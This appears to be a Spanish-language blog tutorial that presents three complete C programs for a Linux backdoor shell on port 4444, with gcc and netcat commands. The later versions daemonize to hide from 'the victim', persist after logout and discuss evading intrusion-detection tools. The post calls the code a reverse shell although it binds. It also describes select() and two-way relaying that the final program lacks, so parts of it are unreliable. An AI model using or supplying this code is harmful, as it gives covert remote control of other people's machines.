• Compilar un binario para un shell reverso de Linux

    Podemos usar C para compilar un binario que, al ejecutarse, se conecte a un proceso netcat en escucha en una máquina atacante:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    
    int main() {
        int sockfd, clientfd;
        struct sockaddr_in server_addr;
        char *shell[] = {"/bin/sh", "-i", NULL};
    
        // Crear socket
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) {
            perror("[-] Error al crear socket");
            exit(1);
        }
    
        // Configurar dirección del servidor
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = INADDR_ANY;
        server_addr.sin_port = htons(4444);
    
        // Enlazar el socket a un puerto
        if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
            perror("[-] Error al enlazar socket");
            exit(1);
        }
    
        // Escuchar conexiones entrantes
        if (listen(sockfd, 1) < 0) {
            perror("[-] Error en listen");
            exit(1);
        }
    
        // Aceptar la conexión de un cliente
        clientfd = accept(sockfd, NULL, NULL);
        if (clientfd < 0) {
            perror("[-] Error al aceptar conexión");
            exit(1);
        }
    
        // Redirigir entrada, salida y error a la conexión del cliente
        dup2(clientfd, 0);  // Entrada estándar (STDIN)
        dup2(clientfd, 1);  // Salida estándar (STDOUT)
        dup2(clientfd, 2);  // Error estándar (STDERR)
    
        // Ejecutar shell interactiva
        execve("/bin/sh", shell, NULL);
    
        close(sockfd);
        close(clientfd);
        return 0;
    }
    
    

    Para compilarlo:

    gcc bindshell.c -o bindshell

    Para crear el listener en nuestra máquina:

    nc 10.5.0.100 4444

    EXTRA: También podríamos hacer que el binario se ejecute en segundo plano, así el usuario del ordenador víctima puede seguir usando la terminal sin ver que ésta ha quedado capturada por el proceso:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <signal.h>
    
    void daemonize() {
        pid_t pid = fork();
        if (pid < 0) exit(1);
        if (pid > 0) exit(0); // Cerrar el proceso padre
    
        // Crear nueva sesión
        if (setsid() < 0) exit(1);
    
        // Ignorar señales de control de terminal
        signal(SIGHUP, SIG_IGN);
    
        pid = fork();
        if (pid < 0) exit(1);
        if (pid > 0) exit(0); // Cerrar el segundo proceso padre
    
        // Redirigir entrada/salida para evitar bloquear terminal
        int fd = open("/dev/null", O_RDWR);
        if (fd >= 0) {
            dup2(fd, STDIN_FILENO);
            dup2(fd, STDOUT_FILENO);
            dup2(fd, STDERR_FILENO);
            close(fd);
        }
    
        // Cambiar directorio de trabajo
        chdir("/");
        umask(0);
    }
    
    int main() {
        daemonize(); // Convertir el proceso en un daemon
    
        int sockfd, clientfd;
        struct sockaddr_in server_addr;
        char *shell[] = {"/bin/bash", "-i", NULL};
    
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) exit(1);
    
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = INADDR_ANY;
        server_addr.sin_port = htons(4444);
    
        if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) exit(1);
        if (listen(sockfd, 1) < 0) exit(1);
    
        while (1) {
            clientfd = accept(sockfd, NULL, NULL);
            if (clientfd < 0) continue;
    
            // Redirigir entrada/salida del cliente a la shell
            dup2(clientfd, STDIN_FILENO);
            dup2(clientfd, STDOUT_FILENO);
            dup2(clientfd, STDERR_FILENO);
    
            execve("/bin/bash", shell, NULL);
            close(clientfd);
        }
    
        close(sockfd);
        return 0;
    }
    

    En este último código ocurre lo siguiente:

    • El proceso se convierte en un daemon. Se usa fork() y setsid() para separar el proceso de la terminal.
    • Se ha cambiado la terminal de /bin/sh a /bin/bash.
    • Se redirige la entrada/salida a /dev/null para evitar que la víctima vea algo raro.
    • Se cierra el proceso padre para liberar la terminal de la víctima.
    • El shell sigue funcionando incluso si el usuario cierra sesión.
    • Como el proceso ya no está vinculado a la terminal original, la víctima puede seguir usando su sistema sin notar la presencia del shell.
    • El servidor escucha indefinidamente.
    • Si el atacante se desconecta, el bind shell sigue funcionando y esperando nuevas conexiones.

    El código es completamente funcional, pero es posible que, al crearse la conexión, en la máquina atacante veamos un mensaje como este:

    bash: cannot set terminal process group (465): Inappropriate ioctl for device
    bash: no job control in this shell

    Dicho mensaje no afecta la funcionalidad del shell reverso, per si no estamos muy cómodos con ñel, podemos modificar un poco el código para crear una pseudo-terminal, pero con el riesgo que nos pueda detectar algún cortafuegos muy potente:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <signal.h>
    #include <pty.h>
    
    void daemonize() {
        pid_t pid = fork();
        if (pid < 0) exit(1);
        if (pid > 0) exit(0);
    
        if (setsid() < 0) exit(1);
        signal(SIGHUP, SIG_IGN);
    
        pid = fork();
        if (pid < 0) exit(1);
        if (pid > 0) exit(0);
    
        int fd = open("/dev/null", O_RDWR);
        if (fd >= 0) {
            dup2(fd, STDIN_FILENO);
            dup2(fd, STDOUT_FILENO);
            dup2(fd, STDERR_FILENO);
            close(fd);
        }
    
        chdir("/");
        umask(0);
    }
    
    int main() {
        daemonize();
    
        int sockfd, clientfd;
        struct sockaddr_in server_addr;
        char *shell[] = {"/bin/bash", "-i", NULL};
        int master_fd, slave_fd;
    
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) exit(1);
    
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = INADDR_ANY;
        server_addr.sin_port = htons(4444);
    
        if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) exit(1);
        if (listen(sockfd, 1) < 0) exit(1);
    
        while (1) {
            clientfd = accept(sockfd, NULL, NULL);
            if (clientfd < 0) continue;
    
            // Crear una pseudo-terminal para evitar problemas de control de trabajos
            if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) < 0) exit(1);
    
            if (fork() == 0) {
                close(sockfd);
                close(master_fd);
    
                // Redirigir la pseudo-terminal al cliente
                dup2(slave_fd, STDIN_FILENO);
                dup2(slave_fd, STDOUT_FILENO);
                dup2(slave_fd, STDERR_FILENO);
                close(slave_fd);
    
                execve("/bin/bash", shell, NULL);
                exit(0);
            }
    
            close(slave_fd);
    
            // Redirigir el tráfico entre cliente y pseudo-terminal
            char buffer[1024];
            ssize_t n;
            while ((n = read(master_fd, buffer, sizeof(buffer))) > 0) {
                write(clientfd, buffer, n);
            }
    
            close(master_fd);
            close(clientfd);
        }
    
        close(sockfd);
        return 0;
    }
    

    ¿Qué cambios implementa este código?

    • Usa openpty() para crear una pseudo-terminal que simula una shell real.
    • Evita el mensaje de error de bash sobre job control.
    • Permite usar Ctrl+C, Ctrl+Z, y comandos interactivos sin problemas
    • Se usa select() para manejar la comunicación bidireccional
    • Permite escuchar tanto la entrada del atacante (clientfd) como la salida del shell (master_fd).
    • Evita bloqueos porque solo se ejecuta cuando hay datos disponibles.
    • Se redirige correctamente la entrada/salida
    • Si el atacante escribe un comando (ls), el código lo envía al shell (write(master_fd, buffer, n);).
    • Si el shell responde (ls devuelve un listado), el código lo envía de vuelta al atacante (write(clientfd, buffer, n);).

    Eso sí, como mencioné antes, el uso de openpty() para crear una pseudo-terminal (PTY) puede hacer el shell reverso más visible para sistemas de seguridad y herramientas de detección de intrusiones. Esto es porque se genera actividad inusual en /dev/pts/*, dado que al momento de ejecutarse el shell reverso el sistema operativo asigna un dispositivo de terminal virtual (/dev/pts/X). Algunas herramientas de monitoreo revisan si se crean terminales sospechosas para procesos inusuales. Sistemas como Sysmon (Windows), auditd (Linux), SELinux pueden detectar actividad inusual en pseudo-terminals. Algunos IDS/IPS (como OSSEC, Falco, Suricata) pueden monitorear la creación de PTYs por procesos no esperados. Cuando openpty() es invocado por procesos que no son shells legítimas, algunas herramientas de análisis de comportamiento también pueden marcarlo como sospechoso.

     


    Deja una respuesta